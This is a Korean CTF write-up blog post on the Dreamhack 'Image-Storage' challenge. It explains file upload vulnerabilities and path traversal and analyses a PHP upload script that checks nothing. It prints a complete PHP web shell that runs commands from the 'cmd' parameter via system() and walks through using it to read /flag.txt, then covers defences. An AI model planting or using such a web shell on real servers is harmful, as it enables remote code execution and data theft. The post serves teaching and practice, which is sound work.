CTF

Image-Storage

whffu0123 2026. 6. 2. 16:50

Dreamhack Image-Storage Write-up


File Upload Vulnerability

파일 업로드와 관련해서 발생하는 취약점은 크게 두 가지로 분류된다.

File Upload Vulnerability 는 공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점이다. 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생한다. 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있다.

File Download Vulnerability 는 웹 서비스의 파일 시스템에 존재하는 파일을 다운로드하는 과정에서 발생하는 보안 취약점이다. 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드받을 수 있다. 설정 파일, 패스워드 파일, 데이터베이스 백업 본 등을 다운로드하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있다.


Path Traversal

파일 업로드 취약점은 크게 Path Traversal악성 파일 업로드 로 분류된다.

파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용한다. Path Traversal 취약점은 업로드에 존재하는 이러한 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점이다. 이용자가 업로드될 파일의 이름을 임의로 정할 수 있을 때 발생하며, 공격자가 ..와 같은 메타문자를 사용하면 uploads 를 벗어나 상위 디렉토리에도 파일을 업로드할 수 있다.

문자 설명 예시

. 현재 디렉토리 /var/www/./html → /var/www/html
.. 상위 디렉토리 /var/www/../html → /var/html

악성 파일 업로드

악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때 이를 제대로 검사하지 않아서 발생한다.

웹 셸 (Web Shell)

웹 서버는 .php, .jsp, .asp와 같은 확장자의 파일을 CGI(Common Gateway Interface) 로 실행하고, 그 결과를 이용자에게 반환한다. 공격자가 임의의 PHP 소스 파일을 .php 확장자로 업로드하고 GET 요청을 보낼 수 있다면, CGI에 의해 해당 코드가 실행된다.

<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

CGI(Common Gateway Interface)란? 동적인 컨텐츠를 처리하기 위해 웹 서버와 PHP 같은 외부 프로그램 사이에서 인터페이스를 제공하는 프로토콜이다.


악의적인 웹 리소스

웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리한다. 공격자가 서버에 exploit.html을 업로드하고 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이라면, 브라우저는 이를 HTML로 해석한다. exploit.html에 악의적인 스크립트를 삽입하면 XSS 공격으로 이어질 수 있다.

확장자 / Content-Type 브라우저 처리 방식

.html / text/html HTML 엔진으로 처리
.png, .jpg / image/png 이미지로 렌더링
.php, .jsp CGI로 실행

문제 개요

PHP로 작성된 파일 저장 서비스에서 확장자 검증 없이 파일을 업로드할 수 있는 취약점을 이용해 웹 셸을 업로드하고, 이를 통해 /flag.txt를 읽어 플래그를 획득하는 문제.


엔드포인트 분석

list.php

$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
    echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}

uploads 폴더의 파일 목록을 링크로 출력한다. 업로드된 파일에 /uploads/파일명 URL로 직접 접근할 수 있다.

upload.php

$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];        // 파일명 그대로 사용!
$tmp_name = $file["tmp_name"];

if (file_exists($directory . $name)) {
    echo $name . " already exists.";
} else {
    if(move_uploaded_file($tmp_name, $directory . $name)){
        echo "Stored in: " . $directory . $name;
    }
}

취약점 분석

$name = $file["name"] 으로 파일명을 그대로 사용하며, 파일에 대해 어떠한 검사도 하지 않는다.

  • 확장자 검증 없음 → .php 파일 업로드 가능
  • 파일 내용 검증 없음 → 웹 셸 코드 업로드 가능
  • 업로드된 파일에 직접 URL 접근 가능 → CGI로 실행됨

공격 방법

웹 셸 코드

<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);   // cmd 파라미터로 받은 명령어를 시스템에서 실행
    }
?></pre></body></html>

URL의 cmd 파라미터로 전달된 명령어를 system() 함수로 실행하고 결과를 출력하는 웹 셸이다.


풀이 단계

Step 1. 위 웹 셸 코드를 shell.php로 저장

Step 2. /upload.php에서 shell.php 업로드

Stored in: ./uploads/shell.php

Step 3. 업로드된 웹 셸에 접근

http://host1.dreamhack.games:[PORT]/uploads/shell.php

Apache가 .php 파일을 CGI로 실행 → 웹 셸 동작 확인

Step 4. 웹 셸에서 echo "HIHI" 입력 → HIHI 출력 → 명령어 실행 성공 확인

Step 5. 웹 셸에서 cat /flag.txt 입력 → FLAG 획득! 


Flag

 


방어 방법

확장자 화이트리스트 검사

$allowed = ['jpg', 'png', 'gif'];
$ext = pathinfo($name, PATHINFO_EXTENSION);

if (!in_array(strtolower($ext), $allowed)) {
    die("허용되지 않는 확장자입니다!");
}

정적 스토리지 사용

AWS S3, Azure Blob, GCP Storage 등의 정적 스토리지를 이용하면 서버의 파일 시스템을 이용하지 않기 때문에 파일 업로드 취약점이 웹 서버 공격으로 이어지는 것을 예방할 수 있다.

 

리소스 종류 예시 서버 실행 여부

정적 리소스 (Static Resource) JPG, PNG, GIF, MP4  실행 안 됨
동적 리소스 (Dynamic Resource) PHP, JSP, ASP  서버에서 실행됨

동적 리소스의 확장자를 제한하면 파일 업로드 취약점을 통한 RCE(Remote Code Execution) 공격으로부터 서버를 보호할 수 있다.

'CTF' 카테고리의 다른 글

SSRF  (0) 2026.06.03
File-Download  (0) 2026.06.02
Command Injection  (0) 2026.06.02
Mango  (0) 2026.06.01
Simple SQLi  (0) 2026.05.29